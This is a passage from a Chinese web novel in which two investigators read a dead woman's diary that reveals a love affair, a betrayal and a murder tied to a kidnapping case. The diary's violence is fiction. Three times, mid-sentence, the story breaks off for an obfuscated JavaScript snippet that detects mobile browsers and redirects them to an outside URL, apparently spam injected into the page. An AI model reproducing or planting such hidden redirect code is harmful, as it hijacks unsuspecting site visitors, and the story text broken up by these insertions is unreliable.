也许真的是被压抑得太久了,这一刻,原安的情绪汹涌澎湃。她就像个迷路的孩子一样,死死攥着沈澈的风衣下摆,仿佛那是狂风巨浪中唯一的浮木。 她靠在沈澈怀里,在这场名为任性的陪伴、接纳和包容里,终于将压抑了整整一年的迷茫无助和绝望悲恸,彻底宣泄。 许久之后,风浪渐息。 原安哭声渐弱,身体也逐渐停止颤抖。 她依然靠在他的肩上,断断续续,抽抽噎噎。 又过了一会儿,原安像是终于找回了理智一般,慢慢放开了攥着沈澈风衣下摆的手。 “沈老师,十分钟早过了吧?”原安的声音还带着哭泣后的沙哑和气音,话语却已恢复成从前的一针见血,“你没计时。” “啊,抱歉。”沈澈沉默一瞬,还是选择平稳而清晰地道出自己的失态,“我刚刚……心乱了。” 原安:“……?” 原安脑子宕机片刻,待反应过来沈澈是什么意思之后,一秒跳出了他的怀抱。 她别过脸,胡乱将脸上泪痕抹去,佯装什么事情都没有发生、什么话都没听到的样子,对沈澈扬手道:“日记。” 沈澈将她的表情尽收眼底,垂下眼帘,唇角划过一抹苦涩。 他没说什么,只是挪动位置,在原安身边坐好,然后从铁盒里取出了那个装着日记本的密封袋。 林心楠的日记比想象中的更轻,也更脆弱。深蓝色的软塑封面已经褪成了灰蓝色,边角磨损得非常厉害,摸上去有一种廉价腻手的陈旧感。 沈澈小心翼翼将日记摊在两人中间,动作轻缓,却稳而有力。 日记内页的纸张早已泛黄发脆,上头散布着星星点点的淡黄霉斑,蓝黑墨水因为氧化变得暗沉,但所幸字迹依然清晰可辨。 林心楠写下这本日记的时间,应该是在她信中提到的跟着原婉学读写后不久。纸上笔迹青涩稚嫩,像个小学生一样,一笔一划都带着笨拙的认真。她的措辞充满口语化,甚至都不懂得如何正确分段,完全没有半点后来绝笔信中的文雅精炼、潇洒锋利。 “X年X月X日,婉婉姐说,今天,那个从首都来宁大交流的叫沈翔的年轻教授又来书店了!我的天哪!这个月还没过半,那个姓沈的都已经来十次了!大学教授一个个都这么闲的吗!!别是另有所图吧!不行,我得找个机会去看看这人到底想干啥!!” “X年X月X日,我猜的没错,那个姓沈的果然不是什么好东西!!占着一张长得还可以的脸,就来书店花言巧语哄骗婉婉姐!嘴上说什么来给婉婉姐送专业书,可我瞧他看婉婉姐那眼神,分明不清白! 回家路上,我提醒婉婉姐要小心,这种有钱人家的公子哥心花花得很!!婉婉姐却和我说,沈翔他不一样,让我别多想。 天哪!我哪里有多想啊!这种男人我见多了!一个两个都是出来玩的!等把人骗到手,新鲜劲过了,就一脚踹开,最后受伤的都是女孩子!! 不行!为了婉婉姐,这个沈翔我必须给他赶了!!!” 沈澈刚一翻开,就被这扑面而来的感叹号以及字里行间对沈翔心术不正的控诉糊了一脸。他有些尴尬地挑挑眉,眼角余光不由自主地飘向坐在身旁的原安。 原安倒是一脸平静,心无旁骛,神情专注地像在阅读专业文献。 沈澈暗自松了口气,重新低头,快速跟上原安的阅读速度。 日记的前几十页,堪称林心楠的“防狼手记”。从沈翔去宁大交流时偶遇原婉,到后来对原婉展开的热烈追求,从林心楠为保护原婉不被“蛊惑”,而对沈翔的刻意刁难和阴阳怪气,再到沈翔次次机智的巧妙化解和以德报怨,最后林心楠彻底没招了,无能狂怒地在日记本里大篇幅地吐槽沈翔的居心叵测,以及小篇幅碎碎念原婉的恋爱脑和恨铁不成钢。 这一部分的三人相处模式,写得其实非常有人间烟火气,但这并不是沈澈和原安关注的重点。他们默契地一目十行,在这些大量的日常琐碎中,快速而精准地提炼、交换其中有效的关键信息。 随着日记页数的增多,时间不断推移,林心楠的笔迹逐渐褪去青涩,笔画间也隐约有了后来的锋利沉稳。她的用词不再如从前一般口语化,日记篇幅也在不断拉长,甚至开始有了准确的分段。 沈澈不禁感慨,林心楠虽然起步很晚,但她的学习能力是真的很强。 “X年X月X日 婉婉姐半夜突然发起了高烧,整个人都烧迷糊了。 哎,都是这阵子那么多兼职连轴转给累的。 我很心疼她。 我照顾了她整整一晚,第二天早上,她终于稍稍降了温。 她刚醒来,就说要去书店上工,要攒钱给原健买电脑。真是不要命了! 我强行把她按回床上休息了。 我出门去书店还有她兼职的那些个餐馆帮她请假,结果回来的时候,竟然看到沈翔在我们家楼下徘徊! 他怎么知道的这里? 他想趁婉婉姐生病对她做什么! 我开口喝住他,我想我当时的表情一定非常可怕。 但他竟然没有生气,一如既往,极有涵养。 他说他非常理解我的担忧,于是极有耐心地向我解释事情经过。 他说他今早去书店还书的时候,偶然间听书店老板说婉婉姐因为发烧请假一天,他很担心,所以问老板要了地址,想要过来看看。 他向我道谢,说感谢我照顾了婉婉姐一整晚。 他最后留下了一包退烧药和一碗黄米粥,说让我帮忙转交给婉婉姐。 然后就走了。 全程竟然没有提半句进屋探病,态度礼貌真诚,带着一视同仁的尊重和分寸。 真的,很有教养。 我觉得,他可能真的和我从前遇见的那些个公子哥都不一样。 或许……我可以试着相信他一次?(最后这个问号被反复描摹,加粗涂黑。) 停停停! 林心楠,你在想什么! 这些都是可以装出来的!! 那些公子哥的演技你以前见得还少吗? 这个沈翔这么聪明,搞不好是个极高段位的! 不行,这男人,我还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16447670|185168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是要给他赶了!” “X年X月X日 沈翔的药很有效果,婉婉姐当晚就退烧了。 我本想让她再多休息两天,但她就是不肯,说原健的电脑等不得。 原健,又是那个吸血鬼! 都这么大年纪了,他不能自力更生吗? 还什么项目需要电脑,项目需要电脑他不能自己买吗?他一个有手有脚的大男人,怎么好意思每次都和婉婉姐开口要钱的! 我和婉婉姐说,让她先拿我的钱应急,回头再还给我。 但婉婉姐死活不同意。 她说那些钱是我为开店攒的,是我重新开始的希望,她不能动。 我最后没拗过她,还是放她出门上工了。 心里难受。” “X年X月X日 今天我跟着中介去看店面,回来的路上,竟然被李大壮带人堵了。 他们要抓我回天上人间,我打不过他们,钱包里的钱都被抢走了。 那可是婉婉姐都舍不得用的钱呢! 王八蛋!! 我又气又痛,挣扎着就要和他们拼命。 结果没想到,这个时候,沈翔竟然来了。 他喝止了他们的暴行,很坚定地挡在了我的前面。 就像当年的婉婉姐一样。 李大壮显然是误会了我和沈翔的关系,一脸猥琐添油加醋地说我以前的事情。 我当时真是羞得恨不得死了算了。 可是沈翔,他看我的眼神一如既往。即使知道了从前的事情,他的眼里也没有半点轻视。 他替我报了警,解了围,还把我的钱都要了回来。 我想,李大壮他们这辈子都不敢再来骚扰我了。 他带我去了医院,帮我付了医药费。他送我回家,非常体贴地帮我向婉婉姐隐瞒了这件事。 我好像有点明白为什么婉婉姐会喜欢他了。 沈翔他确实是个很好很好的人。 但,就算沈翔是个好人,就算他对婉婉姐是认真的,他的家族会同意吗? 晋阳沈氏,那可是顶级世家。那样的人家,最是讲究门当户对、利益共享。 他们是绝对不可能接纳婉婉姐这样一个没上过大学的农村姑娘进门的。 至于沈翔……他这么一个一门心思搞学术的知识分子,显然不可能在家族里拥有什么话语权。 他左右不了自己的婚姻。 他和婉婉姐,不可能在一起的。” 沈澈垂眸。 不得不说,林心楠看事情确实看得非常透彻。她当时对于局势的判断,几乎可以说是精准的。 在这一方面,无论是沈翔还是原婉,都不如她。 只是这个原健…… 沈澈瞥了一眼原安,见她的目光正好也移动到了纸页末尾,他扫了一眼她的脸色,确认一切无异,于是试探开口问道:“原小姐,这个原健……你认识吗?” 这个问题其实问得很宽泛。 毕竟原健此人,并不是什么无名之辈。 他是顾巍的父亲,是顾琳的丈夫,是远洲集团的驸马爷、副总兼技术总工,也是远洲集团得以迅速占领市场、数十年屹立不倒的核心材料技术的创始人。 最重要的是,他还是绑架案的关键涉案人物之一。 但这样一个人,在沈澈所得到的资料里,没有一条显示,他与沈翔、与原婉、甚至与林心楠有关。 他原本没把这几个人联系到一起,但原健却实实在在出现在了林心楠的日记里,而且从林心楠对他的描述来看,原婉与他关系匪浅,而林心楠明显不待见他。 所以,这几个人早就熟识,但有人在后来人为地抹去了这些痕迹。 沈澈莫名就觉得,这其中,应该隐藏着非常重要的线索。 而这条线索,现如今,这世上,唯一可能知道的人,就只有原安了。 11. 第 11 章 原安听到这话时,恰好看完这页日记的全部内容。 她捏着日记纸页的指尖微微收紧了一下,随即又强迫自己松开。 她平静地将目光从纸页移到沈澈脸上,在看到沈澈满脸的欲言又止后,瞬间明白了他的未尽之言。 她垂下眼眸,默默偏开视线,思量片刻后,还是如实给出了答案。 “原健是原家捡来的儿子,和我母亲没有血缘关系。母亲的父亲指望他为原家传宗接代延续香火,所以,逼着我母亲放弃了首都大学的入学资格,北上打工,供原健读书。” 沈澈听罢,微微蹙眉。 原安的回答,简直太奇怪了。 首先,是她的绝对理性和情感剥离。 毫无疑问,她给出的答案用词精准,逻辑清晰,完美地回答了他真正想要问的问题。 但这个答案里的每一个字都透着一股冰冷的疏离。 她称呼原婉的哥哥、自己的舅舅为“原健”,她称呼原婉的父亲、自己的外公为“母亲的父亲”,甚至在谈及自己母亲的原生家庭的时候,用的也是“原家”这么个指代性明确的书面语。 沈澈自然不会认为,是原安的表达突然出现了问题。作为一个以文字谋生的高人气作家,这几乎是不可能出现的情况。 那么,就只剩下了一种可能性,原安回答时,这种下意识的情感切割和身份否认,说明在她的心理认知上,她根本就不承认自己是这个家庭的一份子。 她认同的只是“原婉”这个人本身。 她在原婉和原婉的原生家庭之间,划下了一条清晰的界限。原婉是她的“母亲”,而原婉的原生家庭,甚至那个家庭中的所有成员,都只是和“母亲”有关的陌生人。 所以她的描述方式才会这么客观,理性疏离得像个局外人。 其次,原安描述这段过往时,情感浓度也严重不足。 她的这段描述聚焦于原家本身对于原婉的剥削与压迫,她的共情视角是对外的,是原婉真可怜,而不是对内的,即原家真可恨。这中间缺少的最关键的一环,是她作为女儿对母亲应有的心疼、愤懑与遗憾。 她的口吻不像是一个女儿在描述母亲曾经遭遇的不公,反而更像是一个旁观者在评述一段客观往事。 相比之下,方才她在阅读林心楠绝笔信时,那种剧烈的情绪波动和不自觉的真情流露,才更像是一种涉及至亲的本能反应。 思及此,一个荒谬却又无比合理的念头,如同惊雷般在沈澈脑海中炸开。 有没有可能,原安根本就不是原婉的女儿,她其实就是林心楠的女儿? 她喊原婉“母亲”,只是出于林心楠的要求? 这个想法一旦出现,便再也无法遏制。所有的线索瞬间在沈澈脑中重新排列组合。 从日记内容和绝笔信中可知,林心楠对原婉抱有近乎信仰的守护之心,如果原安真的是原婉的亲生女儿,以林心楠的性格,一定会想方设法潜移默化让她切身感受到来自生母的深爱与遗憾。她绝对不会让她对原婉的感情仅仅停留在眼下这种肤浅的尊敬与了解,那么的空泛空洞、毫无延展。 唯有原安是林心楠自己的女儿,这一切的矛盾才说得通。 这个推测让沈澈的思维豁然开朗。如果这种假设成立,那么所有矛盾的情感便有了一个统一的解释。 这无疑是一个更具说服力的侦查方向。 他垂下眼帘,脑中快速思考该如何开口进一步试探,来确认原安与原婉的关系。 结果这个垂眼和沉默让原安误以为沈澈的疑惑已经得到了完全解答,于是,她转回头,如之前一般,将日记翻到了下一页。 沈澈:“……” 于是,没出口的试探只能硬生生被重新咽了回去。 日记从这页开始,重新变得潦草而混乱。林心楠的笔锋一夜之间变得凛冽锋利,几乎力透纸背。好几处写了字迹却又被狠狠划掉,团状的墨迹之间,塞满了说不出的焦躁和愤怒。 “X年X月X日 原健这个王八蛋!他竟然敢打婉婉姐! 就因为婉婉姐在和沈翔谈恋爱。 关他什么事! 恨我当时不在家! 我去厨房拿了菜刀,就要出门找那个狗东西拼命! 婉婉姐拉住了我。 她告诉我说,原健没有骂错,是她不知廉耻勾搭沈翔。 沈翔,他家里有未婚妻!! 我一听心都凉了。 果然!天下乌鸦一般黑!! 我就不该信他! 男人没一个好东西!” “X年X月X日 沈翔那个王八蛋竟然还敢来找婉婉姐! 我拿起菜刀,开门就朝他砍了上去。 可惜又被婉婉姐拦住了,没能直接砍死他。 婉婉姐让我先去店里,说想和他单独谈谈。 然后就把他请进了里屋。 这个时候谁能放心他两单独在一起啊? 可我拗不过婉婉姐,只能假装答应。出了家门,就立刻躲到了院子里的窗户下边偷听。 他们说话的声音怎么能这么小! 我都把耳朵贴在窗台下边了,还只能听个零星。 沈翔走后,我故意在窗户下边多猫了一会儿,才回到家里。 婉婉姐告诉我,沈翔承诺她,会回首都和家里摊牌,解除和云间顾家的婚约。 我冷笑。 这种鬼话我听得可太多了。 男人一旦走了,就不会再回来了。 我得想办法,让婉婉姐忘了他,重新开始。” “X年X月X日 婉婉姐竟然怀孕了?! 是沈翔那个王八蛋的! 我当时就该直接砍死他! 我劝婉婉姐赶紧打掉孩子,及时止损。 可是婉婉姐不愿意,说这是她和沈翔爱情的结晶,无论如何,她都要把孩子生下来。 她到底知不知道她在说什么! 真是气死我了!” “X年X月X日 沈翔回来了! 他竟然真的从首都辰星回来了!! 他说到做到,真的退掉了和云间顾家的婚事!!! 他瘦了好多,但看着婉婉姐的眼神更坚定了。 婉婉姐告诉了他孩子的事情,他很开心也很感动。 他说要带婉婉姐回辰星,三媒六聘正式娶婉婉姐过门。 真好! 婉婉姐苦了大半辈子,可算是苦尽甘来、功德圆满了。 就是原健看上去似乎不太高兴。 他最近来得比从前都勤,嘴上说着关心妹妹、关心孩子,但他看婉婉姐和沈翔的眼神着实让人不舒服。 他什么时候这么热心过了? 婉婉姐说我这是偏见。 哼,我才不管呢,我得替婉婉姐多留点心。” 从这里开始,林心楠的字迹又重新平稳了下来,如同她的情绪一样,来时汹涌,去也干脆。 一切似乎又回到了最初的闲话家常。 “X年X月X日 顾家果然不是个会善罢甘休的主,这已经是这半年来,沈翔和婉婉姐第三次搬家了。 沈家也在向沈翔施压,听说好像叫停了他正在负责的一个研究项目。 说实话,我有点担心。 好在沈翔倒是一如既往地坚定。 今天我去看他们,沈翔同我说,他准备过些日子带婉婉姐回屏江。 对此,我是支持的。 毕竟现在婉婉姐月份大了,是真的受不起这么大的压力和这么频繁的骚扰。 屏江是婉婉姐的老家,远离首都,也不在顾家的势力范围内。去那里待产,无疑是最优解。 只恨我的店才刚刚起步,实在离不了人。 婉婉姐安慰我,说原健也会跟着一起去,不会有问题的。 希望一切平安顺利。” “X年X月X日 太好了!婉婉姐生啦! 是沈翔打电话告诉我的,大人孩子都平安。 他说话的时候,声音都在抖,说婉婉辛苦了,说他很心疼,说以后绝对不让婉婉再受这种罪了。 他絮絮叨叨说了一大堆,全是在心疼婉婉姐。我都没怎么听他提到孩子。 莫名的,我就有点想哭。 这是我有生以来第一次,看到女人生产后,男人关心老婆大于孩子的。 婉婉姐果然没看错人! 沈翔,他以后一定会是个好丈夫的。 我的店现在也基本稳定了,新来的小妹很能干。 我和沈翔说,明天我就坐火车去屏江找他们。 沈翔很高兴,他告诉我他们现在住在吴门公馆里,让我到了屏江后直接去找他们。 日子好像真的慢慢变好了呢。” 日记写到这里,已经接近尾声。 沈澈一路读下来,仿佛也跟着林心楠的笔触,穿过了时光的洪流,陪着年轻时候的叔叔,一起走过了这坎坷浪漫、温馨幸福的三年。 他轻轻翻到下一页,却在看清上头笔迹时,神色骤然一凝。 接下来的这一篇日记,字迹是前所未有的混乱,几近癫狂。 巨大的墨团和疯狂的涂抹,覆盖了大半纸张,汹涌的痛苦和绝望几乎要溢出纸面。 “X年X月X日 沈翔死了,婉婉姐死了,连孩子都死了! 怎么会这样!!! 我要记下来!我必须要记下来!! 今天所发生的一切,我绝不能忘!! 我要他们偿命! (之后的部分墨迹被水滴晕开,有些模糊,难以辨认) …… 我是早上到的屏江。 下了火车,我拎着给孩子买的新衣服新鞋子,兴冲冲打车去了吴门公馆。 是沈翔给我开的门。 他很高兴我能来,但我进屋没见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16447671|185168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着婉婉姐和孩子,觉得很奇怪。 沈翔和我解释说,婉婉姐带着孩子,同原健一起去镇上办公室,去给孩子落户口了。 他说这话的时候,我很明显看到他眉宇间带着一抹忧色。 我继续追问,他才告诉我,原来他和婉婉姐因为是未婚生子,没有结婚证书,孩子想要上户口很难。这次还是原健帮忙,托了好大关系,才说通那里的王主任帮忙特事特办。但王主任也怕担责任,所以要求一切低调,只让母亲本人抱着孩子,亲自到场签字确认,和他证明孩子是亲生的,才同意给办。所以,为了不让孩子成为黑户,婉婉姐只能拖着刚刚生产过的身体,亲自抱着孩子走这一趟了。 我一听就觉得这话不对。 这么多年,原健早都习惯把婉婉姐当成供养自己的工具了,他吸血都来不及,怎么可能这么好心去打点关系来帮婉婉姐给孩子上户口? 更何况,就原家那个背景,他上哪去找能打通镇上办公室的关系? 还特事特办? 这话最多骗骗沈翔这种没出过象牙塔的少爷。 我立马就把我的分析同沈翔说了。沈翔也很震惊,当下就要和我一起出门找人。 却在这时,门外响起了敲门声。 沈翔让我不要开口,自己应的门。 外头是他曾经的未婚妻,云间顾家大小姐顾琳。 沈翔当机立断,不容分说把我推进了衣柜,叮嘱我无论发生什么事都不要出来。 我还记得,他那时的眼神是从未有过的决绝。 现在想想,是不是那个时候,他就已经猜到了顾琳的来者不善。 他才刚刚藏好我,顾琳的人就已经踹开了门。 她不是一个人来的,她的身后跟着两个体格健硕的保镖,还有……原健! 沈翔一看到原健,就什么都明白了。他质问原健,婉婉姐和孩子去哪里了? 原健没敢开口,是顾琳替他回答的沈翔。 顾琳说孩子死了,婉婉姐也死了,沈翔过往所有的污点都消失了,如果沈翔愿意回头,她可以当成什么都没发生过,继续他们的婚约。 我全身都在发抖。 我没忍住抽噎出声。 都怪我,如果我当时没有发出声音就好了…… 那么,以沈翔的脑子,他一定可以想出办法和顾琳周旋,而不是为了掩护我,直接和顾琳的两个保镖扭打在了一起…… 沈翔是个知识分子,论武力,他毫无胜算。 没几招,沈翔就被那两个保镖按在了地上。 顾琳那个疯女人! 她跪在沈翔面前,一遍遍恳求沈翔回心转意,同她结婚。沈翔不同意,她就……(之后是大片涂抹和被水渍晕开的墨迹,字迹完全糊成了一团,无法辨认) …… 沈翔每拒绝一次,她就从工具包里拿出一样刑具,用在沈翔身上…… (之后又是大片的涂抹) …… 那么斯文干净的一个人,就这样被折磨得…… (之后是大片被水渍晕开的墨迹) …… 这个疯子!! 沈翔最后倒在了地上,看上去已经和一团烂肉没区别了。 顾琳趴在他身上,非常悲痛地哭了一场。她一边哭一边述说这些年对他的恋慕,然后又亲又抱,吻了他好久…… (之后笔迹扭曲,极度凌乱、用力,后面又是大片的涂抹) …… 最后,顾琳走了,让人放了一把火。 我从衣柜里爬出来,抗起已经面目全非的沈翔就往外走。 我想着就算是死,也不能让他死在这里。 但是我没想到的是,沈翔竟然还活着。 他让我带走他的公文包,说里面是他的研究数据。 他让我把这些资料交给他曾经的老师——凝州大学的李国忠教授。 他说只要有这些,就足以证明原健剽窃了他的技术。 最后,他脱下手上的结婚戒指,把它给了我。 他说让我带着这个信物回沈家,去找他的父亲、他的哥哥,告诉他们这里发生的一切。 他说,让我自己离开,说如果带着他这个将死之人,我们两个都要死在这里,这不划算。 最后,他用尽力气推开了我,替我挡住了砸下来的横梁…… 他让我快跑,无论如何必须活下去…… 我跑了。 我带着沈翔的公文包和戒指跑了。 我发誓我这辈子第一次这么听话。 我要去沈家! 我要为他们讨一个公道! 沈翔不能白死,原婉不能白死,孩子不能白死! 我要顾琳和原健偿命!!” “X年X月X日 孩子没死! 沈翔和婉婉姐的孩子还活着!! 我一定要把孩子带回来,好好抚养长大! 不惜一切代价!!” 12. 第 12 章 日记至此,戛然而止。 沈澈难以置信地翻下一页,但下一页没有日记,只剩一块陈旧的泛黄纸板。 日记已然结束,疑问却悬在半空。 那些关于孩子的描述,像一块烙铁烫在沈澈心头,让他禁不住有些懊恼,又有些烦躁。 察觉到自己的情绪后,沈澈强迫自己镇定下来,调动理性思维,结合现有信息,开始冷静分析。 林心楠在日记的最后,用几乎癫狂的笔触写下“孩子没死”这个关键信息。她甚至在最后起誓,要把孩子带回来,好好抚养长大。 这说明,她在写下这段文字的时候,大概率是知晓孩子下落的。 按照她的性格,她确实是会不择手段,夺回孩子,带在身边,好好抚养。 而众所周知,林心楠终生未婚,膝下只有一个女儿,那就是原安。 所以,那个被寻回的孩子,是原安吗? 目前看来,似乎只能是原安。 首先,是她的姓名,她继承了原婉的姓氏,光明正大地用了沈翔起的名字。 其次,她喊原婉母亲,并且对晋阳沈氏抱有尊敬友好的态度。 最后,是那个幕后黑手放在原安花房里的匿名信。 这一切的一切,似乎都只有建立在原安是沈翔和原婉的女儿的基础上,才解释得通。 可是,如果是这样,那又为什么,原安对于原婉的感情那么淡漠呢? 想到这里,沈澈不由自主地偏过头,看向身旁的原安。 原安还低着头,翻阅着手中林心楠的日记。 她神情专注,目光沉静,似乎正在对日记里记录的信息,进行消化、提炼、整合和还原。 夕阳的余晖透过竹叶的缝隙,在她侧脸勾勒出一圈柔和的光晕。 这一刻,沈澈仿佛穿透了二十多年的时光,看到了曾经叔叔在书房里专注阅读的沉静模样。 于是,心中的天平开始摇摆,一股混杂着心痛、怜惜与某种失而复得的复杂情绪,不断冲击着沈澈的理智。 他突然就很想问一问她,林心楠到底有没有和她说过她的身世,有没有和她提到过沈家;他突然就很想知道,一年前她力排众议,坚持将案子上报特侦局,究竟只是因为特别顾问的职责所在,还是因为她无意间发现了自己父亲当年被掩盖的死亡黑幕? 问题一个接一个,如雨后春笋一般滚到了嘴边。 沈澈想要张口,却觉喉头干涩,不知该从何问起。 许是他的目光实在太过灼热,饶是原安正全心投入、专注整合着日记信息,被沈澈这样直愣愣盯了半晌,也不可能全无觉察。 她疑惑地将目光从日记纸页转到沈澈脸上,结果这一眼,却让她大吃一惊。 沈澈正看着她,剑眉紧蹙,面露悲戚。一张俊脸上再也不见平日那种成竹在胸的温雅沉稳,取而代之的是一种她看不懂的心痛与纠结。 他就这样静静看着她,浅棕色的眸子里沉淀着一种她无法理解的沉重悲伤。 他好似是在看着她,却又仿佛是在透过她,凝视着某个遥远的、已然破碎的幻影。 不知为何,原安总觉得这样的沈澈很陌生很脆弱,仿佛下一秒他就要碎掉了。 他这是受了什么刺激? 原安的脑子飞快转动,顺势倒推,很容易就想到问题核心是出在林心楠的日记上。 然后她就想到了倒数第二篇,关于沈翔被顾琳虐杀的记录。 原安恍然大悟,觉得这大概就是沈澈失控的原因吧。 她垂眸思考片刻,学着之前沈澈的样子,抽走被他捏在手中的半边日记,而后,“啪”的一声,轻轻合上。 “翔先生的遭遇,确实很令人难过。”她回望沈澈,笨拙安慰道,“但妈妈给我们留下了这么多的线索,我相信,我们一定能够将顾琳和原健绳之以法,还翔先生一个公道。” 沈澈一听这话,就知道她误会了。 他张了张口,想要解释,却再次不知道该如何说起。 最终他只能沉默地点了点头,表示接受了原安的好意。 于是他们两人便开始收拾东西。 沈澈帮着原安将日记和绝笔信仔细收好,放入铁盒。这个过程中,情感与理智在他心中激烈交锋,最终,职责与对真相的苛求还是压过了一切。 他还是决定向原安作最后的确认。 这不仅关乎他的私心,更关乎整个案子之后的侦查方向。 沈澈在心里对自己如是说。 “原小姐,恕我冒昧,”沈澈强压下心头翻涌的情绪,让自己的声音听起来尽可能的平稳专业,“我能问一些,关于令尊的事情吗?” 原安封存铁盒的动作几不可查地一顿。 空气仿佛凝滞了一瞬。 原安的脸色迅速冷了下去,但那冰霜寒意也仅仅只存在须臾,很快,她的脸上又恢复成一片淡漠的平静。 “那恐怕要让沈老师失望了。”原安眼皮微抬,目光不自然地落在虚空中的某一点,语气疏离得像在谈论一个与己无关的陌生人,“我对这个人,其实并不是很了解。” “嗯?”这个答案和态度有些出乎了沈澈的意料,“不了解?” “嗯,”原安点头,淡淡道,“从小到大,妈妈对他的事都讳莫如深,我也尽量不提,以免妈妈伤心难过。这么多年,我其实都已经习惯了自己是由两位母亲共同守护成长的事实。若非你今日提起,我甚至都想不起还有这么一号人的存在。” 沈澈的心猛地一沉。 这不对。 这不是林心楠对沈翔会持有的态度。 从绝笔信到日记本,林心楠对沈翔的态度,从最开始的防备警惕,到后来的认可支持,最后更是直接将他视作原婉幸福的寄托和自己的救命恩人。 如果原安真的是沈翔的女儿,林心楠绝对不可能会在提及原安生父的时候,呈现出讳莫如深这样一个态度。 林心楠可是连原婉那糟糕的原生家庭,和那深恶痛绝的吸血鬼哥哥原健,都和原安详细提到了呢。 沈澈微微眯了眯眼,心中似有大石无声落地。 看来,原安大概率不是沈翔和原婉的女儿了。 不过,慧明大师说得对,猜来猜去,不如直接验明正身。 看来,他确实应该找个时机,带原安回沈家做个DNA鉴定了。 这个决定一旦做下,沈澈整个人再次平静了下来,他的眼神恢复了之前的清明,连声音也恢复了往常的冷静。 “我明白了。”沈澈道,“抱歉,原小姐,是我唐突了。” 他绅士地接过原安手中的铁盒,扶着原安站起身。 他们一起祭拜了原婉,而后沉默地下山。 等他们回到酒店,天已经完全黑了。 白日的喧嚣与光影尽数褪去,此刻的酒店更显静谧。 白墙黛瓦在夜色与暖黄色宫灯的交映下,轮廓愈发温润柔和。穿林而过的山风带上了夜露的凉意,轻轻拂过脸颊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16447672|185168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,却吹不散两人心头的沉重。 原安和沈澈一前一后走进大堂,身上似乎还沾染着竹林间的清冷与墓园旁的沉重,与周遭的松弛格格不入。 此时早已过了饭点,但两人都没有什么胃口。 今天这一天所接收到的信息着实太过巨大。那些跨越了二十五年的爱恋、牺牲与惨痛真相,那些隐藏在字里行间的深情与绝望,都像一块块沉重的巨石,几乎榨干了他们所有的心神。 他们现下急需一个单独的空间,来对此进行梳理和消化。 他们一路沉默着走进电梯,直达房间所在的五楼。 “叮——” 一声轻响过后,电梯门缓缓滑开。 沈澈很绅士地侧过身,用手挡住电梯门,让原安先出去。 原安微微颔首,聊表谢意,而后,抬脚踩上了走廊柔软的地毯。 地毯的绒面很厚,吸收了所有的脚步声。 世界仿佛在这一刻被按下了静音键。 她一路前行,循着房间号,走向自己的房间。 她下意识地掏出口袋里的房卡,冰凉的触感让她纷乱的思绪有了一瞬间的凝聚。 她在自己的房门口站定,正打算转身,同身后的沈澈道别。 却在这时,她隔壁房间的房门突然从里头被打开了。 一对明显是情侣的年轻男女从里头走了出来。 “我和你说,这家味道是真的不错,”女孩拉着男孩的手,撒娇道,“你这次吃完,一定还会想吃第二次的。” “我看是你馋了吧。”男孩笑着回应,边说边抬手带上房门。 他快走几步,跟上女孩的步伐,而后一把搂住了女孩的肩膀。 两人就这样搂抱着、笑闹着,并肩进了走廊尽头的电梯。 原安浑身僵硬地站在原地,如遭雷劈。 跟在她身侧的沈澈显然也看到了这一幕。 他几乎瞬间就明白了原安的惊愕。 那对小情侣住的是原安为顾巍预定的房间。 顾巍早已在绑架案中死亡。他是绝对不可能来这家酒店,更不可能如他为他找的借口那般,自己去前台补办入住手续。 而酒店不可能为一个迟迟不露面、不办理入住手续的客人无限期保留房间,尤其是在云州这样的旅游城市。 所以,在保留时限内,顾巍没有去办理入住,酒店后台的管理系统识别到了这一点,就自动默认该订单失效,继而将该房间重新出售给其他有需要的客人。 而这对小情侣,应该就是这间客房的新客人了。 坦白来说,这其实是一组非常常见且标准的酒店管理模式,但此时此刻,此等巧合,对于原安来说,未免太过残忍。 沈澈抿了抿唇。 几乎是眨眼的功夫,他已经为顾巍的“新去向”,重新想好了借口。 他向前一步,走到原安身旁,打算像之前一样,配合原安的幻想,陪她演戏。 可这一次,他的话还未出口,原安却率先偏过头,漂亮的杏眼毫无波澜地直直看向了他。 她的眼神里没有迷茫的寻找,只有一种近乎残忍的、被逼到绝境后的清醒。 她的声音很轻,带着一种剥开所有伪装的颤抖,清晰地砸在沈澈的心上。 “沈医生,”她看着他的双眼,轻轻问道,“这一次,顾巍是去哪里了?” 沈澈呼吸一滞,如坠冰窟。 他瞬间明白了,前日前台,自己的破绽在哪里了。 13. 第 13 章 沈澈呼吸一滞,瞬间明白了,前日前台,自己的破绽到底出在哪里了。 他与顾巍,其实根本不熟。 事实上,当沈澈接受上级委派,从帝都辰星飞来望海时,顾巍已经死在了绑架案中。 